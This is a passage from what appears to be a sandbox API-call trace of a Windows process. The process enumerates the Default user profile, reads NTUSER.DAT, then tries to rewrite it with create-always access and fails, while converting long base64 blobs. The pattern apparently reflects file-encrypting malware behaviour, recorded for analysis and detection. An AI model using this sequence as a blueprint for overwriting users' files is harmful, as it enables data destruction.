(in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306b6cd1, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306b6cd1, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306b6cd1, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Documents", cAlternateFileName="MYDOCU~1")) returned 1 [0144.351] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306dce32, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306dce32, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306dce32, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NetHood", cAlternateFileName="")) returned 1 [0144.351] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x9012aa61, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x6770de0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x6770de0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0xc0000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT", cAlternateFileName="")) returned 1 [0144.351] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa40 | out: lpLocalFileTime=0x18fa40) returned 1 [0144.351] FileTimeToDosDateTime (in: lpFileTime=0x18fa40, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0144.351] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\NTUSER.DAT" (normalized: "c:\\users\\default\\ntuser.dat"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x9012aa61, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x6770de0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x6770de0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0xc0000)) returned 1 [0144.354] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0144.354] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0144.354] GetCurrentThreadId () returned 0x9fc [0144.355] GetCurrentThreadId () returned 0x9fc [0144.355] GetCurrentThreadId () returned 0x9fc [0144.355] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 428 [0144.355] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x78856c, cbMultiByte=428, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", lpUsedDefaultChar=0x0) returned 428 [0144.355] GetCurrentThreadId () returned 0x9fc [0144.355] GetCurrentThreadId () returned 0x9fc [0144.355] GetCurrentThreadId () returned 0x9fc [0144.355] CreateFileW (lpFileName="C:\\Users\\Default\\NTUSER.DAT" (normalized: "c:\\users\\default\\ntuser.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2a0 [0144.356] SetFilePointer (in: hFile=0x2a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0144.356] SetFilePointer (in: hFile=0x2a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0144.356] SetFilePointer (in: hFile=0x2a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0xc0000 [0144.356] SetFilePointer (in: hFile=0x2a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0144.356] VirtualAlloc (lpAddress=0x0, dwSize=0xd0000, flAllocationType=0x101000, flProtect=0x4) returned 0x7eed0000 [0144.357] ReadFile (in: hFile=0x2a0, lpBuffer=0x7eed0010, nNumberOfBytesToRead=0xc0000, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7eed0010*, lpNumberOfBytesRead=0x18f990*=0xc0000, lpOverlapped=0x0) returned 1 [0144.371] CloseHandle (hObject=0x2a0) returned 1 [0144.371] VirtualAlloc (lpAddress=0x0, dwSize=0xd0000, flAllocationType=0x101000, flProtect=0x4) returned 0x7ee00000 [0144.374] VirtualAlloc (lpAddress=0x0, dwSize=0x70000, flAllocationType=0x101000, flProtect=0x4) returned 0x7ed90000 [0144.382] VirtualQuery (in: lpAddress=0x7ee00000, lpBuffer=0x18f8d8, dwLength=0x1c | out: lpBuffer=0x18f8d8*(BaseAddress=0x7ee00000, AllocationBase=0x7ee00000, AllocationProtect=0x4, RegionSize=0xd0000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0144.383] VirtualAlloc (lpAddress=0x0, dwSize=0x90000, flAllocationType=0x101000, flProtect=0x4) returned 0x7ed00000 [0144.389] VirtualFree (lpAddress=0x7ed90000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0144.394] VirtualQuery (in: lpAddress=0x7ed90000, lpBuffer=0x18f8d8, dwLength=0x1c | out: lpBuffer=0x18f8d8*(BaseAddress=0x7ed90000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x70000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0144.394] VirtualAlloc (lpAddress=0x7ed90000, dwSize=0x30000, flAllocationType=0x2000, flProtect=0x4) returned 0x7ed90000 [0144.394] VirtualAlloc (lpAddress=0x7ed90000, dwSize=0x30000, flAllocationType=0x1000, flProtect=0x4) returned 0x7ed90000 [0144.399] VirtualQuery (in: lpAddress=0x7edc0000, lpBuffer=0x18f8d8, dwLength=0x1c | out: lpBuffer=0x18f8d8*(BaseAddress=0x7edc0000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x40000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0144.399] VirtualAlloc (lpAddress=0x7edc0000, dwSize=0x30000, flAllocationType=0x2000, flProtect=0x4) returned 0x7edc0000 [0144.399] VirtualAlloc (lpAddress=0x7edc0000, dwSize=0x30000, flAllocationType=0x1000, flProtect=0x4) returned 0x7edc0000 [0144.418] CreateFileW (lpFileName="C:\\Users\\Default\\NTUSER.DAT" (normalized: "c:\\users\\default\\ntuser.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0144.418] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\NTUSER.DAT", nBufferLength=0x104, lpBuffer=0x18f754, lpFilePart=0x18f750 | out: lpBuffer="C:\\Users\\Default\\NTUSER.DAT", lpFilePart=0x18f750*="NTUSER.DAT") returned 0x1b [0144.418] GetLastError () returned 0x5 [0144.418] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x18f964, nSize=0x0, Arguments=0x0 | out: lpBuffer="샀/怜\x18䏭K寮\x18䒠K怜\x18") returned 0x13 [0144.420] LocalFree (hMem=0x2fc0c0) returned 0x0 [0144.420] LoadStringW (in: hInstance=0x400000, uID=0xff8f, lpBuffer=0x18d920, cchBufferMax=4096 | out: lpBuffer="Cannot create file \"%s\". %s") returned 0x1b [0144.420] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x18f954) [0144.421] RtlUnwind (TargetFrame=0x18f9bc, TargetIp=0x409940, ExceptionRecord=0x18f438, ReturnValue=0x0) [0144.422] RtlUnwind (TargetFrame=0x18f9fc, TargetIp=0x409940, ExceptionRecord=0x18f438, ReturnValue=0x0) [0144.422] VirtualFree (lpAddress=0x7eed0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0144.426] VirtualFree (lpAddress=0x7ee00000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0144.430] VirtualQuery (in: lpAddress=0x7ed00000, lpBuffer=0x18ee98, dwLength=0x1c | out: lpBuffer=0x18ee98*(BaseAddress=0x7ed00000, AllocationBase=0x7ed00000, AllocationProtect=0x4, RegionSize=0x90000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0144.430] VirtualFree (lpAddress=0x7ed00000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0144.433] VirtualQuery (in: lpAddress=0x7ed90000, lpBuffer=0x18ee98, dwLength=0x1c | out: lpBuffer=0x18ee98*(BaseAddress=0x7ed90000, AllocationBase=0x7ed90000, AllocationProtect=0x4, RegionSize=0x30000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0144.433] VirtualFree (lpAddress=0x7ed90000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0144.434] VirtualQuery (in: lpAddress=0x7edc0000, lpBuffer=0x18ee98, dwLength=0x1c | out: lpBuffer=0x18ee98*(BaseAddress=0x7edc0000, AllocationBase=0x7edc0000, AllocationProtect=0x4, RegionSize=0x30000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0144.434] VirtualFree (lpAddress=0x7edc0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0144.435] GetCurrentThreadId () returned 0x9fc [0144.435] GetCurrentThreadId () returned 0x9fc [0144.435] GetCurrentThreadId () returned 0x9fc [0144.435] GetCurrentThreadId () returned 0x9fc [0144.435] GetCurrentThreadId () returned 0x9fc [0144.435] GetCurrentThreadId () returned 0x9fc [0144.435] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0xc103692e, ftCreationTime.dwHighDateTime=0x1ca0451, ftLastAccessTime.dwLowDateTime=0x1dd1880d, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x1dd1880d, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT.LOG", cAlternateFileName="NTUSER~3.LOG")) returned 1 [0144.435] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0144.435] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0144.435] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x9012aa61, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x9012aa61, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x674ac80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x2e400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT.LOG1", cAlternateFileName="NTUSER~1.LOG")) returned 1 [0144.435] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0144.435] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0144.436] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x9012aa61, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x9012aa61, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x9012aa61, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT.LOG2", cAlternateFileName="NTUSER~2.LOG")) returned 1 [0144.436] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0144.436] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0144.436] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xf8d30919, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf8d30919, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xf8ead6dc, ftLastWriteTime.dwHighDateTime=0x1ca043d, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", cAlternateFileName="NTUSER~1.BLF")) returned 1 [0144.436] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0144.436] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0144.436] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xf8da2d3a, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf8da2d3a, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xf8e8757c, ftLastWriteTime.dwHighDateTime=0x1ca043d, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", cAlternateFileName="NTUSER~1.REG")) returned 1 [0144.436] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0144.436] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0144.436] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xf8deeffb, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf8deeffb, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xf8ead6dc, ftLastWriteTime.dwHighDateTime=0x1ca043d, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", cAlternateFileName="NTUSER~2.REG")) returned 1 [0144.436] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0144.436] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0144.436] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: 